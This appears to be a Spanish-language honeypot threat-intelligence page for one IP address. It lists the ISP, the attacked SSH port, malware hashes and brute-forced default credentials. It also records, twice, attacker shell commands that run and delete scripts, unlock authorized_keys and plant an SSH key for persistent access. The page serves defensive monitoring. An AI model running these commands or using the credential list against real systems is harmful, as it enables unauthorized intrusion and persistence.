⚠TROYANOSYVIRUS
Amenaza Activa • ALTO

130.12.180.51

Primera Deteccion28/12/2025
Ultima Actividad22/2/2026
ISPRailnet LLC
🎯
2494
Ataques Totales
🔌
1
Puertos
📡
1
Tipos Ataque
🦠
8
Malware

Geolocalizacion

Pais
🇺🇸 Estados Unidos
Ciudad
Desconocida
ASN
AS214943
ISP
Railnet LLC

Tipos de Ataque

cowrie

Puertos Atacados

22

Malware Asociado

048e374baac36d8cf68d...→3625d068896953595e75...→4a869e4a816476f12d5c...→59c29436755b0778e968...→783adb7ad6b16fe9818f...→

Credenciales Intentadas

🔐root/password
90x
🔐admin/admin
50x
🔐root/P
47x
🔐orangepi/orangepi
46x
🔐root/root
17x
🔐root/admin
2x
🔐root/123456
1x
🔐root/pass1234
1x
🔐user/user
1x
🔐admin/12345678
1x

Comandos Ejecutados

$chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtB34x
$chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtB31x

Evaluacion de Riesgo

65
/100
BajoMedioAltoCritico